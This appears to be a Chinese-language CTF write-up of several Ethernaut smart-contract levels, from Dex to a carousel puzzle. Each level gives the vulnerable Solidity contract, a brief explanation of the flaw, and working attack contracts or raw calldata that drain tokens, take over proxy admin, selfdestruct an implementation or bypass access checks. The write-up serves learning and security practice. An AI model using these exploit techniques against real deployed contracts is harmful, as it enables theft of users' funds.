import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";

contract Dex is Ownable {
address public token1;
address public token2;

constructor() {}

function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}

function addLiquidity(address token_address, uint256 amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}

function swap(address from, address to, uint256 amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint256 swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {
return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}

function approve(address spender, uint256 amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}

function balanceOf(address token, address account) public view returns (uint256) {
return IERC20(token).balanceOf(account);
}
}

contract SwappableToken is ERC20 {
address private _dex;

constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
ERC20(name, symbol)
{
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}

function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}

依据规则,我们可以实现如下交换代币:

token1 token2 sender -> contract contract -> sender
100 100 10 token1 10 token2
110 90 20 token2 24 token1
86 110 24 token1 30 token2

持续下去,我们可以使得其中一种token的数量归零。

level23 DEX2

题目:

1
2
上述合约删除swap函数中的
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");

题目信任了所有的ERC20代币合约。我们可以根据给出的SwappableToken函数构建另外两个自定义的冥币token,然后使用我们的冥币去兑换题目合约中的token

level24 Puzzle Wallet

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;

import "UpgradeableProxy-08.sol";

contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin;
address public admin;

constructor(address _admin, address _implementation, bytes memory _initData)
UpgradeableProxy(_implementation, _initData)
{
admin = _admin;
}

modifier onlyAdmin() {
require(msg.sender == admin, "Caller is not the admin");
_;
}

function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}

function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
admin = pendingAdmin;
}

function upgradeTo(address _newImplementation) external onlyAdmin {
_upgradeTo(_newImplementation);
}

receive() external payable { }
}

contract PuzzleWallet {
address public owner;
uint256 public maxBalance;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public balances;

function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}

modifier onlyWhitelisted() {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}

function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}

function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}

function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] += msg.value;
}

function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] -= value;
(bool success,) = to.call{value: value}(data);
require(success, "Execution failed");
}

function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success,) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
}

题目使用PuzzleProxy合约对PuzzleWallet合约进行代理。通过fallback函数和delegatecall实现代理合约对逻辑合约中函数的调用。但是使用delegatecall时两个合约的插槽存在冲突,PuzzleProxy.pendingAdmin == PuzzleWallet.ownerPuzzleProxy.admin == PuzzleWallet.maxBalance。题目给出了PuzzleProxy合约的地址,同时对外暴露PuzzleWallet合约的接口。

首先调用approveNewAdmin()函数修改PuzzleProxy.pendingAdmin为自身,这会使得PuzzleWallet.owner也会变成自身,绕过msg.sender == owner检查。调用addToWhitelist()函数将自身加入白名单,绕过onlyWhitelisted检查。由于multicall()函数只限制了deposit()函数的调用次数,并没有限制在multicall()中调用multicall(),如此一来就可以利用这个函数多次调用deposit()函数。多次调用直到balances[]中记录的值超过合约中的存款。调用execute()函数清空存款。调用setMaxBalance()函数修改PuzzleWallet.maxBalance为自身地址的大小,这会使得PuzzleProxy.admin同步修改为自身。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Proxy.GetContract()
Proxy.PayableCall('proposeNewAdmin', ['0x8F4Bd3d8d348dB262c487366065F21dB95BFcB23'])
print(Proxy.ViewCall('pendingAdmin', []))

Wallet.GetContract()
Wallet.PayableCall('addToWhitelist', ['0x8F4Bd3d8d348dB262c487366065F21dB95BFcB23'])
print(Wallet.ViewCall('whitelisted', ['0x8F4Bd3d8d348dB262c487366065F21dB95BFcB23']))

print(Wallet.GetBalance())
Wallet.PayableCall('multicall', [["0xd0e30db0", "0xac9650d80000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000004d0e30db000000000000000000000000000000000000000000000000000000000"]], 0.001)
print(Wallet.GetBalance())

Wallet.PayableCall('execute', ['0x8F4Bd3d8d348dB262c487366065F21dB95BFcB23', int(0.002 * 10 ** 18), '0x'])
print(Wallet.GetBalance())

Wallet.PayableCall('setMaxBalance', [0x8F4Bd3d8d348dB262c487366065F21dB95BFcB23])

print(Proxy.ViewCall('admin', []))

调用时对的数据可以通过如下合约生成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "Problem.sol";

contract Attack {
bytes[] public result;

function generate_data() public {
bytes[] memory data_deposit = new bytes[](1);
bytes[] memory data_multicall = new bytes[](2);
data_deposit[0] = abi.encodeWithSelector(wallet.deposit.selector);
data_multicall[0] = data_deposit[0];
data_multicall[1] = abi.encodeWithSelector(wallet.multicall.selector, data_deposit);
result = data_multicall;
}

receive() external payable {

}

constructor() payable {

}
}

level25 Motorbike

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

import "openzeppelin-contracts-06/utils/Address.sol";
import "openzeppelin-contracts-06/proxy/Initializable.sol";

contract Motorbike {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

struct AddressSlot {
address value;
}

// Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
constructor(address _logic) public {
require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
_getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
(bool success,) = _logic.delegatecall(abi.encodeWithSignature("initialize()"));
require(success, "Call failed");
}

// Delegates the current call to `implementation`.
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}

// Fallback function that delegates calls to the address returned by `_implementation()`.
// Will run if no other function in the contract matches the call data
fallback() external payable virtual {
_delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
}

// Returns an `AddressSlot` with member `value` located at `slot`.
function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r_slot := slot
}
}
}

contract Engine is Initializable {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

address public upgrader;
uint256 public horsePower;

struct AddressSlot {
address value;
}

function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}

// Upgrade the implementation of the proxy to `newImplementation`
// subsequently execute the function call
function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}

// Restrict to upgrader role
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}

// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
function _upgradeToAndCall(address newImplementation, bytes memory data) internal {
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0) {
(bool success,) = newImplementation.delegatecall(data);
require(success, "Call failed");
}
}

// Stores a new address in the EIP1967 implementation slot.
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");

AddressSlot storage r;
assembly {
r_slot := _IMPLEMENTATION_SLOT
}
r.value = newImplementation;
}
}

所有操作室通过delegatecall在代理合约实现的,并没有修改实际的逻辑合约。我们可以直接跟逻辑合约交互,让他再代理一层我们自己的合约,执行selfdestruct

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;

import "Problem.sol";

contract Attack {
Engine en = Engine(0xc51071aBcb9c624fBF2EebeD35C937eEffE8b966);
bytes public result;

function attack() external payable {
en.initialize();
bytes memory data = abi.encodeWithSelector(this.destruct.selector);
result = data;
en.upgradeToAndCall(address(this), data);
}

function destruct() public {
selfdestruct(address(0));
}

receive() payable external {

}

constructor() payable {

}
}

level27 Good Samaritan

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "openzeppelin-contracts-08/utils/Address.sol";

contract GoodSamaritan {
Wallet public wallet;
Coin public coin;

constructor() {
wallet = new Wallet();
coin = new Coin(address(wallet));

wallet.setCoin(coin);
}

function requestDonation() external returns (bool enoughBalance) {
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
}

contract Coin {
using Address for address;

mapping(address => uint256) public balances;

error InsufficientBalance(uint256 current, uint256 required);

constructor(address wallet_) {
// one million coins for Good Samaritan initially
balances[wallet_] = 10 ** 6;
}

function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];

// transfer only occurs if balance is enough
if (amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;

if (dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
}

contract Wallet {
// The owner of the wallet instance
address public owner;

Coin public coin;

error OnlyOwner();
error NotEnoughBalance();

modifier onlyOwner() {
if (msg.sender != owner) {
revert OnlyOwner();
}
_;
}

constructor() {
owner = msg.sender;
}

function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}

function transferRemainder(address dest_) external onlyOwner {
// transfer balance left
coin.transfer(dest_, coin.balances(address(this)));
}

function setCoin(Coin coin_) external onlyOwner {
coin = coin_;
}
}

interface INotifyable {
function notify(uint256 amount) external;
}

题目信任了外部合约,但是外部合约也可以抛出异常。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface GoodSamaritan {
function requestDonation() external returns (bool enoughBalance);
}

interface Coin {
function transfer(address dest_, uint256 amount_) external;
}

contract Attack {
error NotEnoughBalance();

function attack() public {
GoodSamaritan s = GoodSamaritan(0x42D876AE69C2998ba4a61005Aa1D55b736Cf1161);
s.requestDonation();
}

function notify(uint256 amount) external {
if(amount < 100) {
revert NotEnoughBalance();
}
}

constructor() {

}

receive() external payable {

}
}

level28 Gatekeeper Three

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleTrick {
GatekeeperThree public target;
address public trick;
uint256 private password = block.timestamp;

constructor(address payable _target) {
target = GatekeeperThree(_target);
}

function checkPassword(uint256 _password) public returns (bool) {
if (_password == password) {
return true;
}
password = block.timestamp;
return false;
}

function trickInit() public {
trick = address(this);
}

function trickyTrick() public {
if (address(this) == msg.sender && address(this) != trick) {
target.getAllowance(password);
}
}
}

contract GatekeeperThree {
address public owner;
address public entrant;
bool public allowEntrance;

SimpleTrick public trick;

function construct0r() public {
owner = msg.sender;
}

modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}

modifier gateTwo() {
require(allowEntrance == true);
_;
}

modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}

function getAllowance(uint256 _password) public {
if (trick.checkPassword(_password)) {
allowEntrance = true;
}
}

function createTrick() public {
trick = new SimpleTrick(payable(address(this)));
trick.trickInit();
}

function enter() public gateOne gateTwo gateThree {
entrant = tx.origin;
}

receive() external payable {}
}

一个一个绕就好,在同一次交易中block.timestamp永远是一样的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./problem.sol";

contract Attack {
GatekeeperThree gk3 = GatekeeperThree(payable(0x232C42E63f776A7AffAF1C02eeb58579158821dF));

function attack() public {
gk3.construct0r();
gk3.createTrick();
gk3.getAllowance(block.timestamp);
(bool b, ) = payable(address(gk3)).call{value: 0.002 ether}('');
gk3.enter();
}

function rece1ve() public payable {

}

constructor() {

}
}

level29 Switch

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Switch {
bool public switchOn; // switch is off
bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));

modifier onlyThis() {
require(msg.sender == address(this), "Only the contract can call this");
_;
}

modifier onlyOff() {
// we use a complex data type to put in memory
bytes32[1] memory selector;
// check that the calldata at position 68 (location of _data)
assembly {
calldatacopy(selector, 68, 4) // grab function selector from calldata
}
require(selector[0] == offSelector, "Can only call the turnOffSwitch function");
_;
}

function flipSwitch(bytes memory _data) public onlyOff {
(bool success,) = address(this).call(_data);
require(success, "call failed :(");
}

function turnSwitchOn() public onlyThis {
switchOn = true;
}

function turnSwitchOff() public onlyThis {
switchOn = false;
}
}

题目通过检测calldata中的特定位置来做限制,我们可以伪造它。calldata中的不定长度参数依照offset、length、data的格式传入。

1
2
3
4
5
6
7
await web3.eth.sendTransaction(
{
from : player,
to : contract.address,
data : '0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000004020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000'
}
)

函数选择器:0x30c13ade

构造offset:0x40

过检测的东西:0x20606e15

构造length:0x4

真正的参数:0x76227e12

level30 HigherOrder

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;

contract HigherOrder {
address public commander;

uint256 public treasury;

function registerTreasury(uint8) public {
assembly {
sstore(treasury_slot, calldataload(4))
}
}

function claimLeadership() public {
if (treasury > 255) commander = msg.sender;
else revert("Only members of the Higher Order can become Commander");
}
}

构造一个大于255的参数即可。

1
2
3
4
5
6
7
web3.eth.sendTransaction(
{
from : player,
to : contract.address,
data : web3.eth.abi.encodeFunctionSignature("registerTreasury(uint8)") + web3.utils.leftPad(web3.utils.toHex(0x4321), 64).slice(2, )
}
)

level31 Stake

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Stake {

uint256 public totalStaked;
mapping(address => uint256) public UserStake;
mapping(address => bool) public Stakers;
address public WETH;

constructor(address _weth) payable{
totalStaked += msg.value;
WETH = _weth;
}

function StakeETH() public payable {
require(msg.value > 0.001 ether, "Don't be cheap");
totalStaked += msg.value;
UserStake[msg.sender] += msg.value;
Stakers[msg.sender] = true;
}
function StakeWETH(uint256 amount) public returns (bool){
require(amount > 0.001 ether, "Don't be cheap");
(,bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender,address(this)));
require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
totalStaked += amount;
UserStake[msg.sender] += amount;
(bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
Stakers[msg.sender] = true;
return transfered;
}

function Unstake(uint256 amount) public returns (bool){
require(UserStake[msg.sender] >= amount,"Don't be greedy");
UserStake[msg.sender] -= amount;
totalStaked -= amount;
(bool success, ) = payable(msg.sender).call{value : amount}("");
return success;
}
function bytesToUint(bytes memory data) internal pure returns (uint256) {
require(data.length >= 32, "Data length must be at least 32 bytes");
uint256 result;
assembly {
result := mload(add(data, 0x20))
}
return result;
}
}

题目合约StakeWETH函数并未检查返回值,我们可以用一个合约去虚空质押。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "problem.sol";

interface WETH {
function approve(address spender, uint256 value) external returns (bool);
}

contract Attack {
Stake stake = Stake(0xa3d2894377e942Cf797e02504f094f67D8B09176);
WETH weth = WETH(0x42A09C3fbfb22774936B5D5d085e2FA7963b0db8);

function attack() public {
bool b = weth.approve(0xa3d2894377e942Cf797e02504f094f67D8B09176, 1 ether);
if(!b) revert();
stake.StakeETH{value : 0.1 ether}();
stake.StakeWETH(0.1 ether);
}

constructor() payable { }
}

之后我们再实际质押eth并取出即可获得质押者身份。

1 2 3 4
步骤 合约虚空质押 合约质押真钱 玩家质押真钱 玩家取出真钱
totalStake 0.1 0.2 0.3 0.2
UserStake[player] 0 0 0.1 0
UserStake[hack_contract] 0.1 0.2 0.2 0.2
balance(problem) 0 0.1 0.2 0.1

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

contract MagicAnimalCarousel {
uint16 constant public MAX_CAPACITY = type(uint16).max;
uint256 constant ANIMAL_MASK = uint256(type(uint80).max) << 160 + 16;
uint256 constant NEXT_ID_MASK = uint256(type(uint16).max) << 160;
uint256 constant OWNER_MASK = uint256(type(uint160).max);

uint256 public currentCrateId;
mapping(uint256 crateId => uint256 animalInside) public carousel;

error AnimalNameTooLong();

constructor() {
carousel[0] ^= 1 << 160;
}

function setAnimalAndSpin(string calldata animal) external {
uint256 encodedAnimal = encodeAnimalName(animal) >> 16;
uint256 nextCrateId = (carousel[currentCrateId] & NEXT_ID_MASK) >> 160;

require(encodedAnimal <= uint256(type(uint80).max), AnimalNameTooLong());
carousel[nextCrateId] = (carousel[nextCrateId] & ~NEXT_ID_MASK) ^ (encodedAnimal << 160 + 16)
| ((nextCrateId + 1) % MAX_CAPACITY) << 160 | uint160(msg.sender);

currentCrateId = nextCrateId;
}

function changeAnimal(string calldata animal, uint256 crateId) external {
address owner = address(uint160(carousel[crateId] & OWNER_MASK));
if (owner != address(0)) {
require(msg.sender == owner);
}
uint256 encodedAnimal = encodeAnimalName(animal);
if (encodedAnimal != 0) {
// Replace animal
carousel[crateId] =
(encodedAnimal << 160) | (carousel[crateId] & NEXT_ID_MASK) | uint160(msg.sender);
} else {
// If no animal specified keep same animal but clear owner slot
carousel[crateId]= (carousel[crateId] & (ANIMAL_MASK | NEXT_ID_MASK));
}
}

function encodeAnimalName(string calldata animalName) public pure returns (uint256) {
require(bytes(animalName).length <= 12, AnimalNameTooLong());
return uint256(bytes32(abi.encodePacked(animalName)) >> 160);
}

fallback() external payable { }

receive() external payable { }
}

逆天题目描述。创建动物的时候名字最多10字节,修改动物名字的时候却允许12字节。可以覆盖id的位置为0。

1
2
3
4
5
web3.eth.sendTransaction({
from : player,
to : contract.address,
data : "0x932289cc00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000c3132333435363738393000000000000000000000000000000000000000000000"
})